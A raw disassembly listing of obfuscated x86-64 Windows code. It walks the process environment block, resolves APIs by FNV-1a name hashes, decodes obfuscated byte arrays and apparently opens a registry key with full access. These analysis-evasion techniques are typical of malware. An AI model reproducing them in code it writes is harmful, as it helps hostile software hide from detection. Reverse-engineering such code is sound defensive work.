add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, dl
add cl, r8b
sub cl, r14b
mov byte [rbp + r9 + 0x670], cl
add rdi, r10
jmp 0x14020b5b8
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14020b67c
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x670], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14020b66d
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x670]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14020ab5f
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14020ab5c
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14020ab4c
lea r12, [rbp + 0x145e418]
jmp 0x14020b6e3
lea r12, [rbp + 0x136ab56]
jmp 0x14020b6e3
lea r12, [rbp + 0x670]
mov r10, qword [0x14044bbc0]
test r10, r10
jne 0x14020b84d
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020b75f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020b752
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020b743
cmp edx, esi
jne 0x14020b831
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14020b831
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14020b831
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020b7b3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14020b7a8
cmp edx, r14d
je 0x14020b7c9
test r10d, r10d
jne 0x14020b793
jmp 0x14020b831
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14020b846
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14020b846
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14020b824
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14020b800
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14020b817
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020b843
cmp qword [rbx + 0x30], r13
jne 0x14020b713
mov r10, r13
mov qword [0x14044bbc0], r10
mov qword [rsp + 0x40], r13
lea rax, [0x14044b488]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
test rdx, rdx
jne 0x14020b9ea
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x14020b900
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x14020b8f2
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14020b8e1
cmp r8d, esi
jne 0x14020b9d9
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14020b9d9
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14020b9d9
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x14020b958
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14020b94b
cmp r8d, r14d
je 0x14020b96d
test ebx, ebx
jne 0x14020b939
jmp 0x14020b9d9
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14020b9e1
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14020b9e1
mov esi, r15d
mov r14d, r15d
jmp 0x14020b9aa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14020b99c
jmp 0x14020b9bf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14020b9b2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14020b8ad
mov qword [0x14044bb38], rdx
jmp 0x14020b9f0
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
test rbx, rbx
jne 0x14020bb5c
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020ba73
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020ba66
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020ba57
cmp edx, esi
jne 0x14020bb40
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14020bb40
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14020bb40
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020bac7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020babc
cmp edx, r14d
je 0x14020badd
test r11d, r11d
jne 0x14020baa7
jmp 0x14020bb40
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14020bb55
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14020bb55
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020bb1f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14020bb11
jmp 0x14020bb34
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14020bb27
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020bb52
cmp qword [rbx + 0x30], r13
jne 0x14020ba27
mov rbx, r13
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
test rdx, rdx
jne 0x14020bcce
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020bbe5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020bbd8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020bbc9
cmp edx, esi
jne 0x14020bcb2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14020bcb2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14020bcb2
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020bc39
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020bc2e
cmp edx, r14d
je 0x14020bc4f
test r11d, r11d
jne 0x14020bc19
jmp 0x14020bcb2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14020bcc7
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14020bcc7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020bc91
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14020bc83
jmp 0x14020bca6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14020bc99
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020bcc4
cmp qword [rbx + 0x30], r13
jne 0x14020bb99
mov rdx, r13
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
test rdx, rdx
jne 0x14020be37
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020bd4e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020bd41
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020bd32
cmp edx, esi
jne 0x14020be1b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14020be1b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14020be1b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020bda2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020bd97
cmp edx, r14d
je 0x14020bdb8
test r11d, r11d
jne 0x14020bd82
jmp 0x14020be1b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14020be30
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14020be30
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020bdfa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14020bdec
jmp 0x14020be0f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14020be02
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020be2d
cmp qword [rbx + 0x30], r13
jne 0x14020bd02
mov rdx, r13
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
test rdx, rdx
jne 0x14020bfa0
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020beb7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020beaa
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020be9b
cmp edx, esi
jne 0x14020bf84
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14020bf84
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14020bf84
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020bf0b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020bf00
cmp edx, r14d
je 0x14020bf21
test r11d, r11d
jne 0x14020beeb
jmp 0x14020bf84
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14020bf99
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14020bf99
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020bf63
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14020bf55
jmp 0x14020bf78
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14020bf6b
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020bf96
cmp qword [rbx + 0x30], r13
jne 0x14020be6b
mov rdx, r13
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
cmp qword [0x14044bb58], r13
jne 0x14020c108
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020c01d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020c010
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020c001
cmp edx, esi
jne 0x14020c0ec
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14020c0ec
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14020c0ec
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14020c071
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020c066
cmp edx, r14d
je 0x14020c087
test r9d, r9d
jne 0x14020c051
jmp 0x14020c0ec
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14020c101
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14020c101
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020c0c9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14020c0bb
jmp 0x14020c0df
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14020c0d2
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020c0fe
cmp qword [rbx + 0x30], r13
jne 0x14020bfd1
mov r9, r13
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x14020c179
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14020c161
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14020c145
cmp edx, 0x610c0de3
je 0x14020c1ca
mov r8, qword [r8]
cmp r8, r10
je 0x14020c16f
cmp qword [r8 + 0x30], r13
jne 0x14020c12b
mov r8, r13
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14020c1c5
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14020c1a9
cmp ecx, 0xe463da3c
je 0x14020c1d0
add r9d, r12d
jmp 0x14020c18d
mov r8, qword [r8 + 0x30]
jmp 0x14020c172
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x14020c35c
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020c270
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020c263
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020c254
cmp edx, esi
jne 0x14020c340
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14020c340
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14020c340
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020c2c4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14020c2b9
cmp edx, r14d
je 0x14020c2da
test r10d, r10d
jne 0x14020c2a4
jmp 0x14020c340
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14020c355
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14020c355
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14020c333
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14020c30f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14020c326
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020c352
cmp qword [rbx + 0x30], r13
jne 0x14020c224
mov r10, r13
mov qword [0x14044bb88], r10
lea r9, [rbp + 0x119c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x14020c4dc
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020c3f0
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14020c3e3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14020c3d4
cmp edx, esi
jne 0x14020c4c0
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14020c4c0
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14020c4c0
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14020c444
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14020c439
cmp edx, r14d
je 0x14020c45a
test r11d, r11d
jne 0x14020c424
jmp 0x14020c4c0
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14020c4d5
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14020c4d5
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14020c4b3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14020c48f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14020c4a6
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14020c4d2
cmp qword [rbx + 0x30], r13
jne 0x14020c3a4
mov r8, r13
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov byte [rbp + 0x610], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x611], 0xc9
mov byte [rbp + 0x612], 0xf8
mov byte [rbp + 0x613], Ordinal_211
mov byte [rbp + 0x614], 0xe0
mov byte [rbp + 0x615], Ordinal_50
mov byte [rbp + 0x616], 0x46
mov byte [rbp + 0x617], 0xba
mov byte [rbp + 0x618], Ordinal_79
mov byte [rbp + 0x619], 0x9d
mov byte [rbp + 0x61a], 0xbb
mov byte [rbp + 0x61b], 0xbf
mov byte [rbp + 0x61c], 0xbd
mov byte [rbp + 0x61d], 0x9d
mov r14d, 0x40
mov byte [rbp + 0x61e], r14b
mov byte [rbp + 0x61f], 0x45
mov byte [rbp + 0x620], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x621], xmm0
mov qword [rbp + 0x631], rax
mov word [rbp + 0x639], ax
mov byte [rbp + 0x63b], al
movabs rsi, 0x83a725eef7f5773a
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
mov r9, r13
mov r15d, 1
cmp r9, 0x2c
jae 0x14020d16a
movzx r8d, byte [rbp + r9 + 0x610]
mov r11, r8
cmp rdi, r9
ja 0x14020d161
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14020c5f8
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x6a
jmp 0x14020c632
je 0x14020d0d4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020d04c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14020d01a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020cfcd
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020cfa1
cmp r10, r9
ja 0x14020d158
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14020c663
movabs rcx, 0xccb61c9a5722c7c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14020c697
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14020cf5e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020cf3b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020cf19
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14020cef3
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14020cbcc
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14020cbaa
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14020cb96
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14020cb82
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14020cb6e
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14020cb4c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14020cb2a
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14020cb08
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14020caf4
lea rcx, [r10 + 2]
cmp rdi, rcx
je 0x14020cae0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14020c6a4
mov rdi, rcx
lea r10, [rcx + 9]
lea rax, [r10 + 5]
cmp rcx, rax
jb 0x14020d132
lea rax, [r10 + 9]
cmp rcx, rax
jb 0x14020d10c
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x14020c8a3
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x14020c880
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x14020c85d
lea rax, [r10 + 0x1000]
cmp rcx, rax
jb 0x14020cac9
